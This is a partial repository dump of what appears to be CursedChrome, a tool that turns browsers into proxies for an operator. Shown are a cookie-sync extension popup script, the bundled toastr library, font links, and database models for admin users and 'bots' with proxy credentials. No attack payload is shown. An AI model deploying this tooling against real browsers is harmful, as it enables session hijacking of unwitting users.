157 | this.config.sync_button_disabled = true;
158 | return 'Bot username should start with "botuser"';
159 | }
160 |
161 | if (this.config.password === '') {
162 | this.config.sync_button_disabled = true;
163 | return 'Bot password must not be empty';
164 | }
165 |
166 | return null;
167 | },
168 | },
169 | watch: {
170 | config: {
171 | handler(val) {
172 | this.check_login_credentials();
173 | },
174 | deep: true
175 | }
176 | },
177 | mounted: function() {
178 | this.$nextTick(function() {
179 | load_bot_config();
180 | this.check_login_credentials();
181 | });
182 | }
183 | });
184 |
185 | function save_bot_config(url, username, password) {
186 | localStorage.setItem('BOT_CREDENTIALS', JSON.stringify({
187 | 'url': url,
188 | 'username': username,
189 | 'password': password
190 | }));
191 | }
192 |
193 | function load_bot_config() {
194 | const raw_localstorage_data = localStorage.getItem('BOT_CREDENTIALS');
195 |
196 | if (!raw_localstorage_data) {
197 | return;
198 | }
199 |
200 | const bot_credentials = JSON.parse(localStorage.getItem('BOT_CREDENTIALS'));
201 |
202 | app.config.url = bot_credentials.url;
203 | app.config.username = bot_credentials.username;
204 | app.config.password = bot_credentials.password;
205 | }
206 |
207 | $(function() {
208 | $("[rel='tooltip']").tooltip();
209 | });
210 |
211 | async function api_request(method, url, body) {
212 | var request_options = {
213 | method: method,
214 | credentials: 'include',
215 | mode: 'cors',
216 | cache: 'no-cache',
217 | headers: {
218 | 'Content-Type': 'application/json',
219 | },
220 | redirect: 'follow'
221 | };
222 |
223 | if (body) {
224 | request_options.body = JSON.stringify(body);
225 | }
226 |
227 | window.app.loading = true;
228 |
229 | try {
230 | var response = await fetch(
231 | `${url}`,
232 | request_options
233 | );
234 | } catch (e) {
235 | window.app.loading = false;
236 | throw e;
237 | }
238 | window.app.loading = false;
239 |
240 | const response_body = await response.json();
241 |
242 | if (!response_body.success) {
243 | return Promise.reject({
244 | 'error': response_body.error,
245 | 'code': response_body.code
246 | })
247 | }
248 |
249 | return response_body.result;
250 | }
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/toastr.css:
--------------------------------------------------------------------------------
1 | /*
2 | * Note that this is toastr v2.1.3, the "latest" version in url has no more maintenance,
3 | * please go to https://cdnjs.com/libraries/toastr.js and pick a certain version you want to use,
4 | * make sure you copy the url from the website since the url may change between versions.
5 | * */
6 | .toast-title {
7 | font-weight: bold;
8 | }
9 | .toast-message {
10 | -ms-word-wrap: break-word;
11 | word-wrap: break-word;
12 | }
13 | .toast-message a,
14 | .toast-message label {
15 | color: #FFFFFF;
16 | }
17 | .toast-message a:hover {
18 | color: #CCCCCC;
19 | text-decoration: none;
20 | }
21 | .toast-close-button {
22 | position: relative;
23 | right: -0.3em;
24 | top: -0.3em;
25 | float: right;
26 | font-size: 20px;
27 | font-weight: bold;
28 | color: #FFFFFF;
29 | -webkit-text-shadow: 0 1px 0 #ffffff;
30 | text-shadow: 0 1px 0 #ffffff;
31 | opacity: 0.8;
32 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=80);
33 | filter: alpha(opacity=80);
34 | line-height: 1;
35 | }
36 | .toast-close-button:hover,
37 | .toast-close-button:focus {
38 | color: #000000;
39 | text-decoration: none;
40 | cursor: pointer;
41 | opacity: 0.4;
42 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=40);
43 | filter: alpha(opacity=40);
44 | }
45 | .rtl .toast-close-button {
46 | left: -0.3em;
47 | float: left;
48 | right: 0.3em;
49 | }
50 | /*Additional properties for button version
51 | iOS requires the button element instead of an anchor tag.
52 | If you want the anchor version, it requires `href="#"`.*/
53 | button.toast-close-button {
54 | padding: 0;
55 | cursor: pointer;
56 | background: transparent;
57 | border: 0;
58 | -webkit-appearance: none;
59 | }
60 | .toast-top-center {
61 | top: 0;
62 | right: 0;
63 | width: 100%;
64 | }
65 | .toast-bottom-center {
66 | bottom: 0;
67 | right: 0;
68 | width: 100%;
69 | }
70 | .toast-top-full-width {
71 | top: 0;
72 | right: 0;
73 | width: 100%;
74 | }
75 | .toast-bottom-full-width {
76 | bottom: 0;
77 | right: 0;
78 | width: 100%;
79 | }
80 | .toast-top-left {
81 | top: 12px;
82 | left: 12px;
83 | }
84 | .toast-top-right {
85 | top: 12px;
86 | right: 12px;
87 | }
88 | .toast-bottom-right {
89 | right: 12px;
90 | bottom: 12px;
91 | }
92 | .toast-bottom-left {
93 | bottom: 12px;
94 | left: 12px;
95 | }
96 | #toast-container {
97 | position: fixed;
98 | z-index: 999999;
99 | pointer-events: none;
100 | /*overrides*/
101 | }
102 | #toast-container * {
103 | -moz-box-sizing: border-box;
104 | -webkit-box-sizing: border-box;
105 | box-sizing: border-box;
106 | }
107 | #toast-container > div {
108 | position: relative;
109 | pointer-events: auto;
110 | overflow: hidden;
111 | margin: 0 0 6px;
112 | padding: 15px 15px 15px 50px;
113 | width: 300px;
114 | -moz-border-radius: 3px 3px 3px 3px;
115 | -webkit-border-radius: 3px 3px 3px 3px;
116 | border-radius: 3px 3px 3px 3px;
117 | background-position: 15px center;
118 | background-repeat: no-repeat;
119 | -moz-box-shadow: 0 0 12px #999999;
120 | -webkit-box-shadow: 0 0 12px #999999;
121 | box-shadow: 0 0 12px #999999;
122 | color: #FFFFFF;
123 | opacity: 0.8;
124 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=80);
125 | filter: alpha(opacity=80);
126 | }
127 | #toast-container > div.rtl {
128 | direction: rtl;
129 | padding: 15px 50px 15px 15px;
130 | background-position: right 15px center;
131 | }
132 | #toast-container > div:hover {
133 | -moz-box-shadow: 0 0 12px #000000;
134 | -webkit-box-shadow: 0 0 12px #000000;
135 | box-shadow: 0 0 12px #000000;
136 | opacity: 1;
137 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=100);
138 | filter: alpha(opacity=100);
139 | cursor: pointer;
140 | }
141 | #toast-container > .toast-info {
142 | background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII=") !important;
143 | }
144 | #toast-container > .toast-error {
145 | background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII=") !important;
146 | }
147 | #toast-container > .toast-success {
148 | background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg==") !important;
149 | }
150 | #toast-container > .toast-warning {
151 | background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII=") !important;
152 | }
153 | #toast-container.toast-top-center > div,
154 | #toast-container.toast-bottom-center > div {
155 | width: 300px;
156 | margin-left: auto;
157 | margin-right: auto;
158 | }
159 | #toast-container.toast-top-full-width > div,
160 | #toast-container.toast-bottom-full-width > div {
161 | width: 96%;
162 | margin-left: auto;
163 | margin-right: auto;
164 | }
165 | .toast {
166 | background-color: #030303;
167 | }
168 | .toast-success {
169 | background-color: #51A351;
170 | }
171 | .toast-error {
172 | background-color: #BD362F;
173 | }
174 | .toast-info {
175 | background-color: #2F96B4;
176 | }
177 | .toast-warning {
178 | background-color: #F89406;
179 | }
180 | .toast-progress {
181 | position: absolute;
182 | left: 0;
183 | bottom: 0;
184 | height: 4px;
185 | background-color: #000000;
186 | opacity: 0.4;
187 | -ms-filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=40);
188 | filter: alpha(opacity=40);
189 | }
190 | /*Responsive Design*/
191 | @media all and (max-width: 240px) {
192 | #toast-container > div {
193 | padding: 8px 8px 8px 50px;
194 | width: 11em;
195 | }
196 | #toast-container > div.rtl {
197 | padding: 8px 50px 8px 8px;
198 | }
199 | #toast-container .toast-close-button {
200 | right: -0.2em;
201 | top: -0.2em;
202 | }
203 | #toast-container .rtl .toast-close-button {
204 | left: -0.2em;
205 | right: 0.2em;
206 | }
207 | }
208 | @media all and (min-width: 241px) and (max-width: 480px) {
209 | #toast-container > div {
210 | padding: 8px 8px 8px 50px;
211 | width: 18em;
212 | }
213 | #toast-container > div.rtl {
214 | padding: 8px 50px 8px 8px;
215 | }
216 | #toast-container .toast-close-button {
217 | right: -0.2em;
218 | top: -0.2em;
219 | }
220 | #toast-container .rtl .toast-close-button {
221 | left: -0.2em;
222 | right: 0.2em;
223 | }
224 | }
225 | @media all and (min-width: 481px) and (max-width: 768px) {
226 | #toast-container > div {
227 | padding: 15px 15px 15px 50px;
228 | width: 25em;
229 | }
230 | #toast-container > div.rtl {
231 | padding: 15px 50px 15px 15px;
232 | }
233 | }
234 |
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/toastr.min.js:
--------------------------------------------------------------------------------
1 | /*
2 | * Note that this is toastr v2.1.3, the "latest" version in url has no more maintenance,
3 | * please go to https://cdnjs.com/libraries/toastr.js and pick a certain version you want to use,
4 | * make sure you copy the url from the website since the url may change between versions.
5 | * */
6 | !function(e){e(["jquery"],function(e){return function(){function t(e,t,n){return g({type:O.error,iconClass:m().iconClasses.error,message:e,optionsOverride:n,title:t})}function n(t,n){return t||(t=m()),v=e("#"+t.containerId),v.length?v:(n&&(v=d(t)),v)}function o(e,t,n){return g({type:O.info,iconClass:m().iconClasses.info,message:e,optionsOverride:n,title:t})}function s(e){C=e}function i(e,t,n){return g({type:O.success,iconClass:m().iconClasses.success,message:e,optionsOverride:n,title:t})}function a(e,t,n){return g({type:O.warning,iconClass:m().iconClasses.warning,message:e,optionsOverride:n,title:t})}function r(e,t){var o=m();v||n(o),u(e,o,t)||l(o)}function c(t){var o=m();return v||n(o),t&&0===e(":focus",t).length?void h(t):void(v.children().length&&v.remove())}function l(t){for(var n=v.children(),o=n.length-1;o>=0;o--)u(e(n[o]),t)}function u(t,n,o){var s=!(!o||!o.force)&&o.force;return!(!t||!s&&0!==e(":focus",t).length)&&(t[n.hideMethod]({duration:n.hideDuration,easing:n.hideEasing,complete:function(){h(t)}}),!0)}function d(t){return v=e("").attr("id",t.containerId).addClass(t.positionClass),v.appendTo(e(t.target)),v}function p(){return{tapToDismiss:!0,toastClass:"toast",containerId:"toast-container",debug:!1,showMethod:"fadeIn",showDuration:300,showEasing:"swing",onShown:void 0,hideMethod:"fadeOut",hideDuration:1e3,hideEasing:"swing",onHidden:void 0,closeMethod:!1,closeDuration:!1,closeEasing:!1,closeOnHover:!0,extendedTimeOut:1e3,iconClasses:{error:"toast-error",info:"toast-info",success:"toast-success",warning:"toast-warning"},iconClass:"toast-info",positionClass:"toast-top-right",timeOut:5e3,titleClass:"toast-title",messageClass:"toast-message",escapeHtml:!1,target:"body",closeHtml:'',closeClass:"toast-close-button",newestOnTop:!0,preventDuplicates:!1,progressBar:!1,progressClass:"toast-progress",rtl:!1}}function f(e){C&&C(e)}function g(t){function o(e){return null==e&&(e=""),e.replace(/&/g,"&").replace(/"/g,""").replace(/'/g,"'").replace(//g,">")}function s(){c(),u(),d(),p(),g(),C(),l(),i()}function i(){var e="";switch(t.iconClass){case"toast-success":case"toast-info":e="polite";break;default:e="assertive"}I.attr("aria-live",e)}function a(){E.closeOnHover&&I.hover(H,D),!E.onclick&&E.tapToDismiss&&I.click(b),E.closeButton&&j&&j.click(function(e){e.stopPropagation?e.stopPropagation():void 0!==e.cancelBubble&&e.cancelBubble!==!0&&(e.cancelBubble=!0),E.onCloseClick&&E.onCloseClick(e),b(!0)}),E.onclick&&I.click(function(e){E.onclick(e),b()})}function r(){I.hide(),I[E.showMethod]({duration:E.showDuration,easing:E.showEasing,complete:E.onShown}),E.timeOut>0&&(k=setTimeout(b,E.timeOut),F.maxHideTime=parseFloat(E.timeOut),F.hideEta=(new Date).getTime()+F.maxHideTime,E.progressBar&&(F.intervalId=setInterval(x,10)))}function c(){t.iconClass&&I.addClass(E.toastClass).addClass(y)}function l(){E.newestOnTop?v.prepend(I):v.append(I)}function u(){if(t.title){var e=t.title;E.escapeHtml&&(e=o(t.title)),M.append(e).addClass(E.titleClass),I.append(M)}}function d(){if(t.message){var e=t.message;E.escapeHtml&&(e=o(t.message)),B.append(e).addClass(E.messageClass),I.append(B)}}function p(){E.closeButton&&(j.addClass(E.closeClass).attr("role","button"),I.prepend(j))}function g(){E.progressBar&&(q.addClass(E.progressClass),I.prepend(q))}function C(){E.rtl&&I.addClass("rtl")}function O(e,t){if(e.preventDuplicates){if(t.message===w)return!0;w=t.message}return!1}function b(t){var n=t&&E.closeMethod!==!1?E.closeMethod:E.hideMethod,o=t&&E.closeDuration!==!1?E.closeDuration:E.hideDuration,s=t&&E.closeEasing!==!1?E.closeEasing:E.hideEasing;if(!e(":focus",I).length||t)return clearTimeout(F.intervalId),I[n]({duration:o,easing:s,complete:function(){h(I),clearTimeout(k),E.onHidden&&"hidden"!==P.state&&E.onHidden(),P.state="hidden",P.endTime=new Date,f(P)}})}function D(){(E.timeOut>0||E.extendedTimeOut>0)&&(k=setTimeout(b,E.extendedTimeOut),F.maxHideTime=parseFloat(E.extendedTimeOut),F.hideEta=(new Date).getTime()+F.maxHideTime)}function H(){clearTimeout(k),F.hideEta=0,I.stop(!0,!0)[E.showMethod]({duration:E.showDuration,easing:E.showEasing})}function x(){var e=(F.hideEta-(new Date).getTime())/F.maxHideTime*100;q.width(e+"%")}var E=m(),y=t.iconClass||E.iconClass;if("undefined"!=typeof t.optionsOverride&&(E=e.extend(E,t.optionsOverride),y=t.optionsOverride.iconClass||y),!O(E,t)){T++,v=n(E,!0);var k=null,I=e(""),M=e(""),B=e(""),q=e(""),j=e(E.closeHtml),F={intervalId:null,hideEta:null,maxHideTime:null},P={toastId:T,state:"visible",startTime:new Date,options:E,map:t};return s(),r(),a(),f(P),E.debug&&console&&console.log(P),I}}function m(){return e.extend({},p(),b.options)}function h(e){v||(v=n()),e.is(":visible")||(e.remove(),e=null,0===v.children().length&&(v.remove(),w=void 0))}var v,C,w,T=0,O={error:"error",info:"info",success:"success",warning:"warning"},b={clear:r,remove:c,error:t,getContainer:n,info:o,options:{},subscribe:s,success:i,version:"2.1.3",warning:a};return b}()})}("function"==typeof define&&define.amd?define:function(e,t){"undefined"!=typeof module&&module.exports?module.exports=t(require("jquery")):window.toastr=t(window.jQuery)});
7 | //# sourceMappingURL=toastr.js.map
8 |
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.eot
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.ttf
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.woff
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-brands-400.woff2
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.eot
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.ttf
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.woff
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-regular-400.woff2
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.eot
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.ttf
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.woff
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/src/browser_action/webfonts/fa-solid-900.woff2
--------------------------------------------------------------------------------
/database.js:
--------------------------------------------------------------------------------
1 | const Sequelize = require('sequelize');
2 | const uuid = require('uuid');
3 |
4 | const get_secure_random_string = require('./utils.js').get_secure_random_string;
5 | const get_hashed_password = require('./utils.js').get_hashed_password;
6 |
7 | var sequelize = new Sequelize(
8 | process.env.DATABASE_NAME,
9 | process.env.DATABASE_USER,
10 | process.env.DATABASE_PASSWORD,
11 | {
12 | host: process.env.DATABASE_HOST,
13 | dialect: 'postgres',
14 | benchmark: true,
15 | logging: false
16 | },
17 | );
18 |
19 | const Model = Sequelize.Model;
20 |
21 | /*
22 | User accounts in the web panel
23 | */
24 | class Users extends Model {}
25 | Users.init({
26 | id: {
27 | allowNull: false,
28 | primaryKey: true,
29 | type: Sequelize.UUID,
30 | defaultValue: uuid.v4()
31 | },
32 | // Whether or not the email address has been verified.
33 | // Username
34 | username: {
35 | type: Sequelize.TEXT,
36 | allowNull: true,
37 | unique: true
38 | },
39 | // Bcrypt
40 | password: {
41 | type: Sequelize.TEXT,
42 | allowNull: true,
43 | },
44 | // Whether the password should be changed
45 | // by the user when they log in.
46 | password_should_be_changed: {
47 | type: Sequelize.BOOLEAN,
48 | allowNull: false,
49 | default: false,
50 | }
51 | }, {
52 | sequelize,
53 | modelName: 'users',
54 | indexes: [
55 | {
56 | unique: true,
57 | fields: ['username'],
58 | method: 'BTREE',
59 | }
60 | ]
61 | });
62 |
63 | class Bots extends Model {}
64 | Bots.init({
65 | id: {
66 | allowNull: false,
67 | primaryKey: true,
68 | type: Sequelize.UUID,
69 | defaultValue: uuid.v4()
70 | },
71 | // The unique ID for the specific browser
72 | browser_id: {
73 | type: Sequelize.TEXT,
74 | allowNull: false,
75 | unique: false
76 | },
77 | // Name of the browser proxy
78 | name: {
79 | type: Sequelize.TEXT,
80 | allowNull: false,
81 | unique: false,
82 | default: 'Untitled Proxy'
83 | },
84 | // The username to access the browser
85 | // HTTP proxy.
86 | proxy_username: {
87 | type: Sequelize.TEXT,
88 | allowNull: false,
89 | unique: true
90 | },
91 | // The password to access the browser
92 | // HTTP proxy.
93 | proxy_password: {
94 | type: Sequelize.TEXT,
95 | allowNull: false,
96 | },
97 | // Whether the proxy is currently online
98 | is_online: {
99 | type: Sequelize.BOOLEAN,
100 | allowNull: false,
101 | defaultValue: true
102 | },
103 | // Bot user agent
104 | user_agent: {
105 | type: Sequelize.TEXT,
106 | allowNull: true,
107 | unique: false,
108 | default: 'Unknown'
109 | },
110 | }, {
111 | sequelize,
112 | modelName: 'bots',
113 | indexes: [
114 | {
115 | unique: false,
116 | fields: ['browser_id'],
117 | method: 'BTREE',
118 | },
119 | {
120 | unique: true,
121 | fields: ['proxy_username'],
122 | method: 'BTREE',
123 | },
124 | {
125 | unique: false,
126 | fields: ['proxy_password'],
127 | method: 'BTREE',
128 | }
129 | ]
130 | });
131 |
132 | /*
133 | Various key/values for settings
134 | */
135 | class Settings extends Model {}
136 | Settings.init({
137 | id: {
138 | allowNull: false,
139 | primaryKey: true,
140 | type: Sequelize.UUID,
141 | defaultValue: uuid.v4()
142 | },
143 | // Setting name
144 | key: {
145 | type: Sequelize.TEXT,
146 | allowNull: true,
147 | unique: true
148 | },
149 | // Setting value
150 | value: {
151 | type: Sequelize.TEXT,
152 | allowNull: true,
153 | },
154 | }, {
155 | sequelize,
156 | modelName: 'settings',
157 | indexes: [
158 | {
159 | unique: true,
160 | fields: ['key'],
161 | method: 'BTREE',
162 | }
163 | ]
164 | });
165 |
166 | async function create_new_user(username, password) {
167 | const bcrypt_hash = await get_hashed_password(password);
168 |
169 | const new_user = await Users.create({
170 | id: uuid.v4(),
171 | username: username,
172 | password: bcrypt_hash,
173 | password_should_be_changed: true,
174 | });
175 |
176 | return new_user;
177 | }
178 |
179 | function get_default_user_created_banner(username, password) {
180 | return `
181 | ============================================================================
182 |
183 | █████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗
184 | ██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║
185 | ███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║
186 | ██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║
187 | ██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║
188 | ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
189 |
190 | vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
191 |
192 | An admin user (for the admin control panel) has been created
193 | with the following credentials:
194 |
195 | USERNAME: ${username}
196 | PASSWORD: ${password}
197 |
198 | Upon logging in to the admin control panel with these
199 | credentials you will be prompted to change your password.
200 | Please do so at your earliest convenience as this message
201 | is potentially being logged by Docker.
202 |
203 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
204 |
205 | █████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗
206 | ██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║
207 | ███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║
208 | ██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║
209 | ██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║
210 | ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
211 |
212 | ============================================================================
213 | `;
214 | }
215 |
216 | async function initialize_users() {
217 | // Check if there is at least one User account
218 | // that exists in the database. If not, create
219 | // one and write the auth information to the
220 | // filesystem for the admin to get.
221 | const existing_users = await Users.findAll();
222 |
223 | // If there are already users we can stop here.
224 | if(existing_users.length > 0) {
225 | return
226 | }
227 |
228 | // Since there's no users, we need to create one.
229 | // Otherwise there's nothing to log in with.
230 |
231 | // Generate cryptographically-secure random
232 | // password for the default user we're adding.
233 | const new_username = "admin";
234 | const new_password = get_secure_random_string(32);
235 |
236 | // Create user and add to database
237 | const new_user = await create_new_user(
238 | new_username,
239 | new_password
240 | );
241 |
242 | // Now we need to write these credentials to the
243 | // filesystem in a file so the user can retrieve
244 | // them.
245 | const banner_message = get_default_user_created_banner(
246 | new_username,
247 | new_password
248 | );
249 |
250 | console.log(banner_message);
251 | }
252 |
253 | async function initialize_configs() {
254 | const session_secret_key = 'SESSION_SECRET';
255 |
256 | // Check for existing session secret value
257 | const session_secret_setting = await Settings.findOne({
258 | where: {
259 | key: session_secret_key
260 | }
261 | });
262 |
263 | // If it exists, there's nothing else to do here.
